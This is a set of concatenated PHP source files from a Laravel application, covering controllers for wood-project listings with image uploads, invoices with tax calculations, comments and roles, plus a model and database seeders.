( 'id' => 11, 'name' => '<NAME>', 'created_at' => NULL, 'updated_at' => NULL, ), 11 => array ( 'id' => 14, 'name' => '<NAME>', 'created_at' => NULL, 'updated_at' => NULL, ), )); } }<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Auth; class Album extends Model { protected $fillable = ['name', 'description', 'cover_image']; // An album has many photos public function photos() { return $this->hasMany('App\Photo'); } public function scopeNewAlbums($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('name','DESC'); } } <file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Category; use App\WoodProject; use Auth; use DB; use File; use Image; use Session; class WoodProjectsController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # █████╗ ██████╗ ███╗ ███╗██╗███╗ ██╗ # ██╔══██╗██╔══██╗████╗ ████║██║████╗ ██║ # ███████║██║ ██║██╔████╔██║██║██╔██╗ ██║ # ██╔══██║██║ ██║██║╚██╔╝██║██║██║╚██╗██║ # ██║ ██║██████╔╝██║ ╚═╝ ██║██║██║ ╚████║ # ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ################################################################################################################## public function admin() { return view('backend.woodProjects.admin.index'); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { // find all projects categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood projects'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } // find all stain colors categories in the categories table and pass them to the view $stainColors = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain color'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staincolors = []; // Store the category values into the $cats array foreach ($stainColors as $stainColor) { $staincolors[$stainColor->id] = $stainColor->name; } // find all stain sheens categories in the categories table and pass them to the view $stainSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $stainsheens = []; // Store the category values into the $cats array foreach ($stainSheens as $stainSheen) { $stainsheens[$stainSheen->id] = $stainSheen->name; } // find all stain types categories in the categories table and pass them to the view $stainTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staintypes = []; // Store the category values into the $cats array foreach ($stainTypes as $stainType) { $staintypes[$stainType->id] = $stainType->name; } // find all wood species categories in the categories table and pass them to the view $woodSpecies = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood specie'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodspecies = []; // Store the category values into the $cats array foreach ($woodSpecies as $woodSpecie) { $woodspecies[$woodSpecie->id] = $woodSpecie->name; } // find all wood types categories in the categories table and pass them to the view $woodTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodtypes = []; // Store the category values into the $cats array foreach ($woodTypes as $woodType) { $woodtypes[$woodType->id] = $woodType->name; } // find all wood types categories in the categories table and pass them to the view $finishTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishtypes = []; // Store the category values into the $cats array foreach ($finishTypes as $finishType) { $finishtypes[$finishType->id] = $finishType->name; } // find all stain sheens categories in the categories table and pass them to the view $finishSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishsheens = []; // Store the category values into the $cats array foreach ($finishSheens as $finishSheen) { $finishsheens[$finishSheen->id] = $finishSheen->name; } return view('backend.woodProjects.create') ->withCategories($cats) ->withWoodSpecies($woodspecies) ->withWoodTypes($woodtypes) ->withStainTypes($staintypes) ->withStainColors($staincolors) ->withStainSheens($stainsheens) ->withFinishTypes($finishtypes) ->withFinishSheens($finishsheens) ; } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { $project = WoodProject::find($id); //dd($project); foreach($project->projectImages as $photo) { unlink(public_path('_woodProjects/images/' . $project->id . "/" . $photo->new_name)); unlink(public_path('_woodProjects/images/thumbs/' . $project->id . "/" . $photo->new_name)); //Delete the photos of this project from the database $photo->delete(); } // Delete the project cover image and it's thumbnail unlink(public_path('_woodProjects/main_images/' . $project->main_image)); unlink(public_path('_woodProjects/main_images/thumbs/' . $project->main_image)); // Delete the IMAGES/THUMBS folder matching the project id File::deleteDirectory(public_path('_woodProjects/images/thumbs/' . $project->id)); // Delete the IMAGES folder matching the project id File::deleteDirectory(public_path('_woodProjects/images/' . $project->id)); //Delete the project from the database $project->delete(); Session::flash('success','Project and associated images have been deleted.'); return redirect()->route('backend.woodProjects.index'); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { $project = WoodProject::find($id); // find all projects categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood projects'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } // find all stain colors categories in the categories table and pass them to the view $stainColors = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain color'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staincolors = []; // Store the category values into the $cats array foreach ($stainColors as $stainColor) { $staincolors[$stainColor->id] = $stainColor->name; } // find all stain sheens categories in the categories table and pass them to the view $stainSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $stainsheens = []; // Store the category values into the $cats array foreach ($stainSheens as $stainSheen) { $stainsheens[$stainSheen->id] = $stainSheen->name; } // find all stain types categories in the categories table and pass them to the view $stainTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staintypes = []; // Store the category values into the $cats array foreach ($stainTypes as $stainType) { $staintypes[$stainType->id] = $stainType->name; } // find all wood species categories in the categories table and pass them to the view $woodSpecies = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood specie'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodspecies = []; // Store the category values into the $cats array foreach ($woodSpecies as $woodSpecie) { $woodspecies[$woodSpecie->id] = $woodSpecie->name; } // find all wood types categories in the categories table and pass them to the view $woodTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodtypes = []; // Store the category values into the $cats array foreach ($woodTypes as $woodType) { $woodtypes[$woodType->id] = $woodType->name; } // find all wood types categories in the categories table and pass them to the view $finishTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishtypes = []; // Store the category values into the $cats array foreach ($finishTypes as $finishType) { $finishtypes[$finishType->id] = $finishType->name; } // find all stain sheens categories in the categories table and pass them to the view $finishSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishsheens = []; // Store the category values into the $cats array foreach ($finishSheens as $finishSheen) { $finishsheens[$finishSheen->id] = $finishSheen->name; } return view('backend.woodProjects.edit', compact('project')) ->withCategories($cats) ->withWoodSpecies($woodspecies) ->withWoodTypes($woodtypes) ->withStainTypes($staintypes) ->withStainColors($staincolors) ->withStainSheens($stainsheens) ->withFinishTypes($finishtypes) ->withFinishSheens($finishsheens) ; } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { //$projects = WoodProject::with('Images')->get(); $projects = WoodProject::orderBy('name','asc')->get(); return view('backend.woodProjects.index', compact('projects')); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { // $project = WoodProject::with('ImageProject')->find($id); $project = WoodProject::find($id); // dd($project); return view('backend.woodProjects.show', compact('project')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(Request $request) { $this->validate($request, [ 'name' => 'required', 'description' => 'required', 'category_id' => 'required', 'main_image' => 'required|image|max:1999' ]); // Get the file object $file = $request->file('main_image'); // Get file name with extension $filenameWithExt = $request->file('main_image')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('main_image')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //return $filenameToStore; // Check if Gallery/Images folders exists if (!file_exists('_woodProjects/main_images')) { mkdir('_woodProjects/main_images', 0777, true); } // move the file to the correct location $file->move('_woodProjects/main_images', $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_woodProjects/main_images/thumbs')) { mkdir('_woodProjects/main_images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_woodProjects/main_images/' . $filenameToStore) ->resize(240,160) ->save('_woodProjects/main_images/thumbs/' . $filenameToStore, 60); //Create album $project = new WoodProject; $project->category_id = $request->input('category_id'); $project->name = $request->input('name'); $project->description = $request->input('description'); $project->main_image = $filenameToStore; $project->time_invested = $request->input('time_invested'); $project->price = $request->input('price'); $project->wood_specie_id = $request->input('wood_specie_id'); $project->wood_type_id = $request->input('wood_type_id'); $project->width = $request->input('width'); $project->depth = $request->input('depth'); $project->height = $request->input('height'); $project->stain_type_id = $request->input('stain_type_id'); $project->stain_color_id = $request->input('stain_color_id'); $project->stain_sheen_id = $request->input('stain_sheen_id'); $project->finish_type_id = $request->input('finish_type_id'); $project->finish_sheen_id = $request->input('finish_sheen_id'); $project->completed_at = $request->input('completed_at'); $project->weight = $request->input('weight'); $project->save(); Session::flash('success','Project created.'); return redirect()->route('backend.woodProjects.index'); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(Request $request, $id) { $this->validate($request, [ 'name' => 'required', 'description' => 'required', 'category_id' => 'required', 'main_image' => 'sometimes|image|max:1999' ]); // if(!checkACL('author')) { // return view('errors.403'); // } //dd($request->ref); if($request->file('main_image')) { $project = WoodProject::find($id); // Delete the project cover image and it's thumbnail unlink(public_path('_woodProjects/main_images/' . $project->main_image)); unlink(public_path('_woodProjects/main_images/thumbs/' . $project->main_image)); // Get the file object $file = $request->file('main_image'); // Get file name with extension $filenameWithExt = $request->file('main_image')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('main_image')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //return $filenameToStore; // Check if Gallery/Images folders exists if (!file_exists('_woodProjects/main_images')) { mkdir('_woodProjects/main_images', 0777, true); } // move the file to the correct location $file->move('_woodProjects/main_images', $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_woodProjects/main_images/thumbs')) { mkdir('_woodProjects/main_images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_woodProjects/main_images/' . $filenameToStore) ->resize(240,160) ->save('_woodProjects/main_images/thumbs/' . $filenameToStore, 60); } $project = WoodProject::findOrFail($id); $project->category_id = $request->input('category_id'); $project->name = $request->input('name'); $project->description = $request->input('description'); if ($request->file('main_image')) { $project->main_image = $filenameToStore; } $project->time_invested = $request->input('time_invested'); $project->price = $request->input('price'); $project->wood_specie_id = $request->input('wood_specie_id'); $project->wood_type_id = $request->input('wood_type_id'); $project->width = $request->input('width'); $project->depth = $request->input('depth'); $project->height = $request->input('height'); $project->stain_type_id = $request->input('stain_type_id'); $project->stain_color_id = $request->input('stain_color_id'); $project->stain_sheen_id = $request->input('stain_sheen_id'); $project->finish_type_id = $request->input('finish_type_id'); $project->finish_sheen_id = $request->input('finish_sheen_id'); $project->completed_at = $request->input('completed_at'); $project->weight = $request->input('weight'); $project->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The project has been updated successfully.'); //return redirect()->route($request->ref); return redirect()->route('backend.woodProjects.index'); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗███████╗ ██████╗████████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██╔══██╗██╔═══██╗ ██║██╔════╝██╔════╝╚══██╔══╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██████╔╝██████╔╝██║ ██║ ██║█████╗ ██║ ██║ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔═══╝ ██╔══██╗██║ ██║██ ██║██╔══╝ ██║ ██║ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║ ██║╚██████╔╝╚█████╔╝███████╗╚██████╗ ██║ ███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newWoodProjects(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('woodprojects') ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $projects = WoodProject::with('category')->newWoodProjects() ->where('name', 'like', $key . '%') ->get(); return view('backend.woodProjects.newWoodProjects', compact('projects','letters')); } $projects = WoodProject::with('category')->newWoodProjects()->get(); return view('backend.woodProjects.newWoodProjects', compact('projects','letters')); } } <file_sep><?php namespace App\Http\Controllers\Frontend; //use Illuminate\Http\Request; //use App\Http\Requests; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Comment; use App\Post; use Session; use Log; use Auth; //use Request; use App\Http\Requests\CreateCommentRequest; //use App\Http\Requests\UpdateCommentRequest; class CommentsController extends Controller { public function __construct() { $this->middleware('auth', ['except' => 'store']); //Log::useFiles(storage_path().'/logs/comments.log'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ // public function store(CreateCommentRequest $request, $post_id) // { // $post = Post::find($post_id); // $comment = new Comment(); // $comment->name = $request->name; // $comment->email = $request->email; // $comment->comment = $request->comment; // $post->comments()->save($comment); // //$comment->save(); // // Save entry to log file using built-in Monolog // // if (Auth::check()) { // // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // // } else { // // Log::info(Request::ip() . " commented on post " . $post->id); // // } // Session::flash('success', 'Comment added seccesfully.'); // return redirect()->route('blog.single', [$post->slug]); // } // public function show($id) // { // //dd($id); // $comment = Comment::find($id); // //dd($comment); // $nid = $comment->post_id; // //dd($nid); // // return view('backend.comments.show')->withComment($comment); // //return view('backend.posts.show', compact('nid')); // return redirect()->route('backend.posts.show', [$nid]); // } // /** // * Show the form for editing the specified resource. // * // * @param int $id // * @return \Illuminate\Http\Response // */ // public function edit($id) // { // $comment = Comment::find($id); // return view('backend.comments.edit')->withComment($comment); // } // /** // * Update the specified resource in storage. // * // * @param \Illuminate\Http\Request $request // * @param int $id // * @return \Illuminate\Http\Response // */ // public function update(UpdateCommentRequest $request, $id) // { // $comment = Comment::find($id); // $comment->comment = $request->comment; // $comment->save(); // // Save entry to log file using built-in Monolog // // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED comment (" . $comment->id . ")\r\n", // // [json_decode($comment, true)] // // ); // Session::flash('success', 'Comment updated'); // return redirect()->route('backend.posts.show', $comment->post->id); // } // public function delete($id) // { // $comment = Comment::find($id); // return view('backend.comments.delete')->withComment($comment); // } // /** // * Remove the specified resource from storage. // * // * @param int $id // * @return \Illuminate\Http\Response // */ // public function destroy($id) // { // $comment = Comment::find($id); // $post_id = $comment->post->id; // $comment->delete(); // // Save entry to log file using built-in Monolog // // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED comment (" . $comment->id . ")\r\n", // // [json_decode($comment, true)] // // ); // Session::flash('success', 'Comment Deleted'); // return redirect()->route('backend.posts.show', $post_id); // } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; // use Illuminate\Support\Facades\Input; use App\Client; use App\Invoice; use App\InvoiceItem; use App\Product; use carbon\Carbon; use Config; use DB; use PDF; use Session; class InvoicesController extends Controller { public function index() { $invoices = Invoice::sortable() ->orderBy('id','desc') ->paginate(Config::get('settings.rowsPerPage')); return view('invoicer.invoices.index', compact('invoices')); } public function create() { $clients = Client::orderBy('company_name','asc')->pluck('company_name','id'); $products = Product::all(); return view('invoicer.invoices.create', compact('clients','products')); } public function store(Request $request) { // validate the data $this->validate($request, [ 'client_id' => 'required', // 'work_date' => 'required', 'status' => 'required' ]); // save the data in the database $invoice = new Invoice; // $invoice->work_date = $request->work_date; $invoice->client_id = $request->client_id; $invoice->notes = $request->notes; $invoice->status = $request->status; $invoice->save(); // Add items to InvoiceItem table if($request->invoiceItem) { foreach($request->invoiceItem as $data) { $item = new InvoiceItem($data); $item->invoice_id = $invoice->id; $item->save(); } } // set a flash message to be displayed on screen Session::flash('success','The invoice was successfully saved!'); // redirect to another page return redirect()->route('invoicer.invoices.index'); } public function show($id) { $invoice = Invoice::with('invoiceItems')->find($id); //dd($invoice); return view('invoicer.invoices.show', compact('invoice')); } public function edit($id) { $invoice = Invoice::with('InvoiceItems')->find($id); // dd($invoice); $clients = Client::orderBy('company_name','asc')->pluck('company_name','id'); //$invoiceitems = InvoiceItem::where('invoice_id', $invoice->id); //dd($invoiceitems); return view('invoicer.invoices.edit', compact('invoice','clients')); } public function update(Request $request, $id) { // validate the data $this->validate($request, [ 'client_id' => 'required', 'status' => 'required', ]); $invoice = Invoice::find($id); // $invoice->work_date = $request->work_date; $invoice->client_id = $request->client_id; $invoice->notes = $request->notes; $invoice->status = $request->status; $invoice->invoiced_at = $request->invoiced_at; $invoice->paid_at = $request->paid_at; // Perform required calculations $inv_amount_charged = DB::table('invoiceitems')->where('invoice_id', '=', $invoice->id)->sum('total'); $inv_hst = $inv_amount_charged * Config::get('invoicer.hst_rate'); $inv_sub_total = $inv_amount_charged + $inv_hst; $inv_wsib = $inv_amount_charged * Config::get('invoicer.wsib_rate'); $inv_income_taxes = $inv_amount_charged * Config::get('invoicer.income_tax_rate'); $inv_total_deductions = $inv_wsib + $inv_income_taxes; $inv_total = $inv_amount_charged - $inv_total_deductions; // Set the values to be updated $invoice->amount_charged = $inv_amount_charged; $invoice->hst = $inv_hst; $invoice->sub_total = $inv_sub_total; $invoice->wsib = $inv_wsib; $invoice->income_taxes = $inv_income_taxes; $invoice->total_deductions = $inv_total_deductions; $invoice->total = $inv_total; $invoice->save(); // Set flash data with success message Session::flash ('success', 'This invoice was successfully updated!'); // Redirect to posts.show return redirect()->route('invoicer.invoices.index'); } public function destroy($id) { $invoice = Invoice::find($id); $invoice->delete(); Session::flash('success','The invoice was deleted successfully.'); return redirect()->route('invoicer.invoices.index'); } public function paid() { $invoices = Invoice::sortable()->where('status','=','paid') ->paginate(Config::get('settings.rowsPerPage')); return view('invoicer.invoices.index', compact('invoices')); } public function invoiced() { $invoices = Invoice::sortable()->where('status','=','invoiced') ->paginate(Config::get('settings.rowsPerPage')); return view('invoicer.invoices.index', compact('invoices')); } public function logged() { $invoices = Invoice::sortable()->where('status','=','logged') ->paginate(Config::get('settings.rowsPerPage')); return view('invoicer.invoices.index', compact('invoices')); } public function status_invoiced($id) { $invoice = Invoice::findOrFail($id); $invoice->status = 'invoiced'; $invoice->invoiced_at = Carbon::now(); $invoice->save(); // Set flash data with success message Session::flash ('success', 'This invoice was successfully updated!'); // Redirect to posts.show return redirect()->route('invoicer.invoices.index'); } public function status_invoiced_all() { $invoices = Invoice::where('status', '=', 'logged')->get(); foreach($invoices as $invoice) { $invoice->status = 'invoiced'; $invoice->invoiced_at = Carbon::now(); $invoice->save(); } // Set flash data with success message Session::flash ('success', 'All logged invoices have successfully been marked as invoiced!'); // Redirect to posts.show return redirect()->route('invoicer.invoices.index'); } public function status_paid($id) { $invoice = Invoice::findOrFail($id); $invoice->status = 'paid'; $invoice->paid_at = Carbon::now(); $invoice->save(); // Set flash data with success message Session::flash ('success', 'This invoice was successfully updated!'); // Redirect to posts.show return redirect()->route('invoicer.invoices.index'); } public function status_paid_all() { $invoices = Invoice::where('status', '=', 'invoiced')->get(); foreach($invoices as $invoice) { $invoice->status = 'paid'; $invoice->paid_at = Carbon::now(); $invoice->save(); } // Set flash data with success message Session::flash ('success', 'All invoiced invoices have successfully been marked as paid!'); // Redirect to posts.show return redirect()->route('invoicer.invoices.index'); } // public function invoice_to_pdf($id) // { // $invoice = Invoice::with('client','invoiceitems')->find($id); // //dd($invoice); // $pdf = PDF::loadView('invoicer.invoices.invoice_to_pdf', compact('invoice')); // return $pdf->download('invoice_'.$id.'.pdf'); // } } // public function show($id) // { // $invoice = Invoice::with('invoiceItems')->find($id); // //dd($invoice); // return view('invoicer.invoices.show', compact('invoice')); // }<file_sep><?php namespace App\Http\Controllers\Frontend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Storage; use App\WoodProjectImage; use Session; use Image; use File; class WoodProjectImagesController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## // public function show($id) { // $image = woodProjectImage::find($id); // return view('frontend.woodProjectImage.show', compact('image')); // } } <file_sep><?php use Illuminate\Database\Seeder; use Faker\Factory as Faker; class ProductsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $faker = Faker::create(); foreach (range(1,15) as $index) { DB::table('products')->insert([ 'code' => $faker->word, 'details' => $faker->sentence, ]); } } }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Role; use Auth; use DB; use Session; use App\Http\Requests\CreateRoleRequest; use App\Http\Requests\UpdateRoleRequest; class RolesController extends Controller { ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('roles') ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) //->where('published_at','<', Carbon::Now()) //->where('deleted_at','=', Null) ->orderBy('letter') ->get(); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $roles = Role::where('name', 'like', $key . '%') ->orderBy('name', 'asc') ->get(); return view('roles.index', compact('roles','letters')); } // No $key value is passed $roles = Role::all(); return view('roles.index', compact('roles','letters')); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { return view('roles.create'); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # 